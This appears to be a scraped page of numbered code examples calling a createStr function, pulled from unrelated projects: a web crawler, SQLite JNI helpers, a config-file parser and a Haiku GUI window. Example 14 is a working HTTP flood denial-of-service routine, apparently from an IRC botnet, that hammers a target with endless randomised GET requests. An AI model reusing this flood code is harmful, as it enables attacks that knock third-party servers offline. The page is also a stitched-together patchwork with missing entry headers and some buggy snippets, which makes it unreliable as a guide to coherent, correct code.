Esempio n. 1
0
int localExtract(char *fInput, SLIST *wordList)
{
	FILE *fp;
	char c;
	struct String *buffer = createStr();
	
	//Attempt to open file 
	fp = fopen(fInput, "r");
	if (fp == NULL)
	{
		printf("Unable to open file: %s\n", fInput);
		return -1;
	}
	while((c = fgetc(fp)) != EOF)
		appendChar(buffer, c);
		
	fclose(fp);
	
	//Truncate and clean string to be ready for parsing
	truncateStr(buffer);
	charSplit(wordList, buffer, ' ');
	rmStopWords(wordList);
	
	destroyStr(buffer); //free allocated memory
	return 0;
}
Esempio n. 2
0
/**
* function splitByChar(SLIST *strList, struct String *src, char c, int start)
* 
* Purpose: Helper function to split a string into a list of strings 
* based on a char. Note: strings are added in alphabetical order to strList.
**/
int splitByChar(SLIST *strList, struct String *src, char c, int start)
{
	int i = start;
	int retval = -1;
	struct String *newStr;
	newStr = createStr(); //Allocate and initialize newStr
	
	//Iterate through src->buf
	while (i < src->strLen)
	{
		if (src->buf[i] == c) 
		{
			//appendChar(newStr, 0);
			retval = i + 1;
			break;
		}
		else
		{
			appendChar(newStr, src->buf[i]);
			i++;
		}
	}

	//Empty String
	if ((newStr->buf[0] == '\0'))
		destroyStr(newStr);
	else if(start == i)
		destroyStr(newStr);
	//non-empty string, add to list
	else
		addStr(strList, newStr);
	
	return retval;
}
Esempio n. 3
0
void charSplit(SLIST *strList, struct String *src, char c)
{
	int i = 0;
	struct String *tempStr = createStr();
	while (i <= src->strLen)
	{
		if ((src->buf[i]) == c && (tempStr->strLen != 0)) {
			//add tempStr contents to strList, clear tempStr
			//printf("tempStr contents: %s\n", tempStr->buf);
			addLit(strList, tempStr->buf);
			clearBufStr(tempStr);
			i++;
		}
		else if ((src->buf[i]) == c && (tempStr->strLen == 0)) {
			i++;
		}
		else {
			appendChar(tempStr, src->buf[i]);
			i++;
		}
	}
	if (tempStr->strLen != 0)
	{
		addLit(strList, tempStr->buf);
	}
	destroyStr(tempStr);
}
Esempio n. 4
0
void addLit(SLIST *strList, char *lit)
{
	struct String *newStr = createStr();
	appendLit(newStr, lit); //Copy contents of char *lit into newStr
	SNODE *newNode = (SNODE *)wrp_calloc(1, sizeof(SNODE));
	initStrNode(newNode, newStr);
	addNode(strList, newNode);
}
Esempio n. 5
0
void addLitToBack(SLIST *strList, char *lit)
{
	struct String *newStr = createStr();
	SNODE *newNode = (SNODE *)wrp_calloc(1, sizeof(SNODE));
	appendLit(newStr, lit);
	initStrNode(newNode, newStr);
	addToBack(strList, newNode);
}
Esempio n. 6
0
int main(int argc, char**argv)
{

	unsigned char * str = NULL;
	str = createStr (  64 );
	CHATFABRIC_DEBUG_B2H(1, "STR", str, 64 );
	return 0;	

}
static char *getDatabaseName(JNIEnv* env, sqlite3 * handle, jstring databaseName) {
    char const *path = env->GetStringUTFChars(databaseName, NULL);
    if (path == NULL) {
        LOGE("Failure in getDatabaseName(). VM ran out of memory?\n");
        return NULL; // VM would have thrown OutOfMemoryError
    }
    char *dbNameStr = createStr(path);
    env->ReleaseStringUTFChars(databaseName, path);
    return dbNameStr;
}
Esempio n. 8
0
void rmStopWords(SLIST *wordList)
{
	//long fLen;
	int retval;
	char c;
	//char *tempBuffer;
	SNODE *n = NULL; //Points to current node
	SLIST *stopList = createStrList();
	struct String *tempStr = createStr();
	FILE *fp = fopen("stoplist.txt", "r");
	if (fp == NULL) {
		printf("failed to open stoplist.txt.\n");
		exit(-1);
	}
	//Read contents of file into tempStr
	while((c = fgetc(fp)) != EOF)
		appendChar(tempStr, c);
		
	fclose(fp);
	charSplit(stopList, tempStr, '\n'); //Build list of words from tempStr (each node is a line)
	
	//Iterate through wordList
	wordList->cur = wordList->head;
	while(wordList->cur != NULL) 
	{
		retval = findStrNode(stopList, wordList->cur->str);
		//current word not in stoplist
		if (retval == -1) {
			n = NULL;
			wordList->cur = wordList->cur->next;
		}
		//Current word in stoplist
		else
		{
			n = wordList->cur;
			if (n == wordList->tail)
			{
				//printf("node (%s) is tail node.\n", n->str->buf);
				destroyNode(wordList, n);
				break;
			}
			wordList->cur = wordList->cur->next;
			//printf("node (%s) in stop words, removing it.\n", wordList->cur->str->buf);
			//int destroyNode(SLIST *strList, SNODE *node)
			destroyNode(wordList, n);
		}
	}
	//free variables from memory
	destroyStr(tempStr);
	destroyStrList(stopList);
}
// register the logging func on sqlite. needs to be done BEFORE any sqlite3 func is called.
static void registerLoggingFunc(const char *path) {
    static bool loggingFuncSet = false;
    if (loggingFuncSet) {
        return;
    }

    LOGV("Registering sqlite logging func \n");
    int err = sqlite3_config(SQLITE_CONFIG_LOG, &sqlLogger, (void *)createStr(path, 0));
    if (err != SQLITE_OK) {
        LOGW("sqlite returned error = %d when trying to register logging func.\n", err);
        return;
    }
    loggingFuncSet = true;
}
static char *getDatabaseName(JNIEnv* env, sqlite3 * handle, jstring databaseName, short connNum) {
    char const *path = env->GetStringUTFChars(databaseName, NULL);
    if (path == NULL) {
        LOGE("Failure in getDatabaseName(). VM ran out of memory?\n");
        return NULL; // VM would have thrown OutOfMemoryError
    }
    char *dbNameStr = createStr(path, 4);
    if (connNum > 999) { // TODO: if number of pooled connections > 999, fix this line.
      connNum = -1;
    }
    sprintf(dbNameStr + strlen(path), "|%03d", connNum);
    env->ReleaseStringUTFChars(databaseName, path);
    return dbNameStr;
}
// register the logging func on sqlite. needs to be done BEFORE any sqlite3 func is called.
static void registerLoggingFunc(const char *path) {
    static bool loggingFuncSet = false;
    if (loggingFuncSet) {
        return;
    }

    LOGV("Registering sqlite logging func \n");
    int err = sqlite3_config(SQLITE_CONFIG_LOG, &sqlLogger, (void *)createStr(path));
    if (err != SQLITE_OK) {
        LOGE("sqlite_config failed error_code = %d. THIS SHOULD NEVER occur.\n", err);
        return;
    }
    loggingFuncSet = true;
}
Esempio n. 12
0
void get_map(conf_map *cmap , const char * fileName)
{
	char * src = createStr(STRSIZE);
	char * iter1 = src;
	char * iter2 = src;
	char * temp = src;
	unsigned int length = 0;
	int src_size = 0;
	loadConf(&src , fileName);

	//printf("%s" , src);

	src_size = strlen(src);
	iter1 = src;
	iter2 = src;
	while(src_size > 0 && iter1 != '\0')
	{

		//去掉注释、空字符
		if(*iter1 == '#')
			while( *( ++ iter1) != '\n' && (-- src_size) > 0);
		//if( *iter1 == ' ' || *iter1 == '	'  || *iter1 == '\n')
		if( (*iter1 < 36  || *iter1 == '\n')&& *iter1 != '#')
		{
			while(( (*iter1 < 36  || *iter1 == '\n')&& *iter1 != '#')  && (-- src_size) > 0) ++ iter1;
			continue;
		}

		cmap->nodes[cmap->now].key.start = iter1;
		length = 0;
		while(*iter1 != '=' && *iter1 >36 && (-- src_size) != 0){ ++ iter1; ++ length;}
		cmap->nodes[cmap->now].key.length = length;

		length = 0;
		while((*iter1 == '=' || *iter1 == ' ' || *iter1 == '	' ) && (-- src_size) > 0){ ++ iter1;}
		cmap->nodes[cmap->now].value.start = iter1;
		while(*iter1 != '=' && *iter1 >36 && (-- src_size) > 0){ ++ iter1; ++ length;}
		cmap->nodes[cmap->now].value.length = length;
		++ cmap->now;

	}


	printf("finally ,src_size = %d \n" , src_size );
	print_cmap(cmap);

	free(src);
}
Esempio n. 13
0
/**
* function: extractText(char *host, char *path, SLIST *wordList)
* This function duplicates the functionality of extraction
* function, intended to parse a .txt file on some remote host.
**/
int extractText(char *host, char *path, SLIST *wordList)
{
	int	conn;
	char buff[(BUFFSIZE + 1)] = {0};
	int	len;
	struct String *textString = createStr();
	//struct String *tempWordList = createStr();
	
	/* contact the web server */
	conn = socketClient(host, HTTPPORT);
	if (conn < 0) {
		exit(1);
	}

	/* send an HTTP/1.1 request to the webserver */
	sprintf(buff, "GET %s HTTP/1.1\r\nHost: %s\r\n", path, host);
	strcat(buff, "User-Agent: self-module\r\n");
	strcat(buff, "Accept: text/plain,text/html\r\n");
	strcat(buff, "Accept-Language: en-us,en;q=0.5\r\n");
	strcat(buff, "Accept-Charset: ISO-8859-1,utf-8;q=0.7\r\n");
	strcat(buff, "Keep-Alive: 115\r\n");
	strcat(buff, "Connection: keep-alive\r\n");
	strcat(buff, "\r\n");

	len = strlen(buff);
	(void) send(conn, buff, len, 0);

	/* convert all data received into chunks, append it to textString */
	while((len = recv(conn, buff, BUFFSIZE, 0)) > 0) {
		appendLit(textString, buff);
		memset(buff, 0, BUFFSIZE);
	}
	
	//cleaning text string by replacing all non-alphanumeric characters with spaces.
	truncateStr(textString);
	charSplit(wordList, textString, ' ');
	
	//cleaning word list based on existing stop words
	//printf("Started removing stop words.\n");
	rmStopWords(wordList);
	
	//free up memory
	//printf("Extraction: destroying textString.\n");
	destroyStr(textString);
	return 0;
}
Esempio n. 14
0
void http_attack(char *host, char *port, int id) {
	int sockets[CONNECTIONS];
	int x, g=1, r;
	for(x=0; x!= CONNECTIONS; x++)
		sockets[x]=0;
	signal(SIGPIPE, &_tcp_broke);
	printf("NOTICE %s :HTTP-Xerexing %s.\n", host);
	while(1) {
		for(x=0; x != CONNECTIONS; x++) {
			if(sockets[x] == 0)
				sockets[x] = _tcp_make_socket(host, port);
			/* Null byte attack: r=write(sockets[x], "\0", 1); */

			/* HTTP get /random-uri Attack */
                        char *string = createStr();
                        char httpbuf[1024];
			/* Get /randomshiteverythread?lol=kektheplanet */
                        sprintf(httpbuf,"GET /%s HTTP/1.0\r\nUser-Agent: Wget/1.16 (linux-gnu/keksec)\r\nAccept: */*\r\nConnection: Keep-Alive\r\n\r\n",string);
                        printf("%s",httpbuf);
			char s_copy[128];
			strncpy(s_copy, httpbuf, sizeof(s_copy));
			int sizebuf = sizeof s_copy - 1;
			/* --- */
			r=write(sockets[x], s_copy, sizebuf);
			if(r == -1) {
				close(sockets[x]); 
				sockets[x] = _tcp_make_socket(host, port);
			} else {
			//fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
			}
			_attacks++;
			fprintf(stderr, "[%i:\tvolley sent, %d\t]\n", id, _attacks);
		}
		usleep(300000);
	}
}
Esempio n. 15
0
int extraction(char *host, char *path, SLIST *wordList, SLIST *urlList)
{
	int	conn;
	char buff[(BUFFSIZE + 1)] = {0};
	int	len;
	
	struct String *htmlString = createStr(); //Contains raw html pulled from web page
	struct String *cleanString = createStr(); //Contains the truncated html code 
	struct String *baseURL = createStr(); //Contains the url in the <base href = "">

	/* contact the web server */
	conn = socketClient(host, HTTPPORT);
	if (conn < 0) {
		exit(1);
	}

	/* send an HTTP/1.1 request to the webserver */
	sprintf(buff, "GET %s HTTP/1.1\r\nHost: %s\r\n", path, host);
	strcat(buff, "User-Agent: self-module\r\n");
	strcat(buff, "Accept: text/html,application/xhtml+xml\r\n");
	strcat(buff, "Accept-Language: en-us,en;q=0.5\r\n");
	//	strcat(buff, "Accept-Encoding: gzip,defalte\r\n");
	strcat(buff, "Accept-Charset: ISO-8859-1,utf-8;q=0.7\r\n");
	strcat(buff, "Keep-Alive: 115\r\n");
	strcat(buff, "Connection: keep-alive\r\n");
	strcat(buff, "\r\n");

	len = strlen(buff);
	(void) send(conn, buff, len, 0);

	/* convert all data received into chunks, append it to htmlString */
	while((len = recv(conn, buff, BUFFSIZE, 0)) > 0) {
		appendLit(htmlString, buff);
		memset(buff, 0, BUFFSIZE);
	}

	//Parsing base url
	if (-1 == parseBaseURL(baseURL, htmlString)) {
		printf("Could not locate base url.\n");
		return -1;
	}	
	
	//Parsing url links
	//printf("Building url link list.\n");
	buildLinkList(urlList, htmlString, baseURL);
	//Add the url that the crawler parsed the html from
	urlList->key = createStr();
	appendStr(urlList->key, baseURL);

	//creating word list
	appendStr(cleanString, htmlString);
	
	//cleaning html string by replacing all non-alphanumeric characters with spaces.
	truncateStr(cleanString);
	charSplit(wordList, cleanString, ' ');
	wordList->key = createStr();
	appendStr(wordList->key, baseURL);
		
	//cleaning word list based on existing stop words
	//printf("Started removing stop words.\n");
	rmStopWords(wordList);
	
	//free up memory
	//printf("Extraction: destroying htmlString, cleanString, & baseURL.\n");
	destroyStr(htmlString);
	destroyStr(cleanString);
	destroyStr(baseURL);
	
	return 0;
} 
Esempio n. 16
0
TemplateWindow::TemplateWindow(const BRect& frame)
	:
	BWindow(frame, B_TRANSLATE("Choose a project type"), B_TITLED_WINDOW,
		B_NOT_RESIZABLE | B_NOT_ZOOMABLE | B_AUTO_UPDATE_SIZE_LIMITS)
{
	RegisterWindow();
	
	CheckTemplates();
	
	DPath templatePath(gAppPath.GetFolder());
	templatePath << B_TRANSLATE("Templates");
	fTempList.ScanFolder(templatePath.GetFullPath());
	
	// Reuse default english folder if no translated folder is found
	if(fTempList.CountTemplates()==0){
		templatePath = gAppPath.GetFolder();
		templatePath<<"Templates";
		fTempList.ScanFolder(templatePath.GetFullPath());
	}

	// project type
	BPopUpMenu* projectTypeMenu = new BPopUpMenu(B_TRANSLATE("Project type"));
	for (int32 i = 0; i < fTempList.CountTemplates(); i++) {
		ProjectTemplate* ptemp = fTempList.TemplateAt(i);
		entry_ref ref = ptemp->GetRef();
		projectTypeMenu->AddItem(new BMenuItem(ref.name,
			new BMessage(M_TEMPLATE_SELECTED)));
	}
	projectTypeMenu->ItemAt(0L)->SetMarked(true);

	fTemplateField = new BMenuField("templatefield", B_TRANSLATE("Project type:"),
		projectTypeMenu);
	fTemplateField->SetViewColor(ui_color(B_PANEL_BACKGROUND_COLOR));

	// project name

	fNameBox = new AutoTextControl("namebox", B_TRANSLATE("Project name:"), "",
		new BMessage(M_NAME_CHANGED));
	SetToolTip(fNameBox, B_TRANSLATE("The name of your project. "
		"It can be the same as the Target name, but it does not have to be."));

	// target name

	fTargetBox = new AutoTextControl("targetbox", B_TRANSLATE("Target name:"), "BeApp",
		new BMessage(M_TARGET_CHANGED));
	SetToolTip(fTargetBox, B_TRANSLATE("The name of the compiled application or library"));

	// project path

	fPathBox = new PathBox("pathbox", gProjectPath.GetFullPath(), "");
	fPathBox->SetExplicitMinSize(BSize(be_plain_font->StringWidth("M") * 36,
		B_SIZE_UNSET)),
	SetToolTip(fPathBox, B_TRANSLATE("Set the location for your project."));

	// source control

	BPopUpMenu* scmMenu = new BPopUpMenu("SCM Chooser");
	scmMenu->AddItem(new BMenuItem(B_TRANSLATE("Mercurial"), new BMessage()));
	scmMenu->AddItem(new BMenuItem(B_TRANSLATE("Git"), new BMessage()));
	scmMenu->AddItem(new BMenuItem(B_TRANSLATE("Subversion"), new BMessage()));
	scmMenu->AddItem(new BMenuItem(B_TRANSLATE("None"), new BMessage()));

	if (!gHgAvailable) {
		scmMenu->ItemAt(0)->SetEnabled(false);
		scmMenu->ItemAt(0)->SetLabel(B_TRANSLATE("Mercurial unavailable"));
	}
	if (!gGitAvailable) {
		scmMenu->ItemAt(1)->SetEnabled(false);
		scmMenu->ItemAt(1)->SetLabel(B_TRANSLATE("Git unavailable"));
	}
	if (!gSvnAvailable) {
		scmMenu->ItemAt(2)->SetEnabled(false);
		scmMenu->ItemAt(2)->SetLabel(B_TRANSLATE("Subversion unavailable"));
	}

	fSCMChooser = new BMenuField("scmchooser", B_TRANSLATE("Source control:"), scmMenu);
	fSCMChooser->SetViewColor(ui_color(B_PANEL_BACKGROUND_COLOR));
	SetToolTip(fSCMChooser,
		B_TRANSLATE("Choose the source control manager for your project, if any."));

	scmMenu->ItemAt(gDefaultSCM)->SetMarked(true);

	BMenuItem* item = scmMenu->FindMarked();
	if (!item->IsEnabled()) {
		item->SetMarked(false);
		for (int32 i = 0; i < scmMenu->CountItems(); i++) {
			if (scmMenu->ItemAt(i)->IsEnabled()) {
				scmMenu->ItemAt(i)->SetMarked(true);
				break;
			}
		}
	}

	// create folder check box

	fCreateFolder = new BCheckBox(B_TRANSLATE("Create project folder"));
	fCreateFolder->SetValue(B_CONTROL_ON);
	SetToolTip(fCreateFolder, B_TRANSLATE("If checked, a folder for your project will be created "
		"in the location entered above."));

	// create project button

	BString createStr(B_TRANSLATE("Create project" B_UTF8_ELLIPSIS));
	fCreateProjectButton = new BButton("ok", createStr,
		new BMessage(M_CREATE_PROJECT));
	fCreateProjectButton->SetEnabled(false);
	fCreateProjectButton->MakeDefault(true);

	// layout

	BLayoutBuilder::Group<>(this, B_VERTICAL)
		.AddGrid(B_USE_DEFAULT_SPACING, B_USE_SMALL_SPACING)
			.Add(fTemplateField->CreateLabelLayoutItem(), 0, 0)
			.AddGroup(B_HORIZONTAL, B_USE_DEFAULT_SPACING, 1, 0)
				.Add(fTemplateField->CreateMenuBarLayoutItem())
				.AddGlue()
				.End()

			.Add(fNameBox->CreateLabelLayoutItem(), 0, 1)
			.Add(fNameBox->CreateTextViewLayoutItem(), 1, 1)

			.Add(fTargetBox->CreateLabelLayoutItem(), 0, 2)
			.Add(fTargetBox->CreateTextViewLayoutItem(), 1, 2)

			.Add(new BStringView("location", B_TRANSLATE("Location:")), 0, 3)
			.Add(fPathBox, 1, 3)

			.Add(fSCMChooser->CreateLabelLayoutItem(), 0, 4)
			.AddGroup(B_HORIZONTAL, B_USE_DEFAULT_SPACING, 1, 4)
				.Add(fSCMChooser->CreateMenuBarLayoutItem())
				.AddGlue()
				.End()

			.Add(fCreateFolder, 1, 5)
			.End()
		.AddGlue()
		.AddGroup(B_HORIZONTAL)
			.AddGlue()
			.Add(fCreateProjectButton)
			.End()
		.SetInsets(B_USE_DEFAULT_SPACING)
		.End();

	fNameBox->MakeFocus(true);

	CenterOnScreen();
}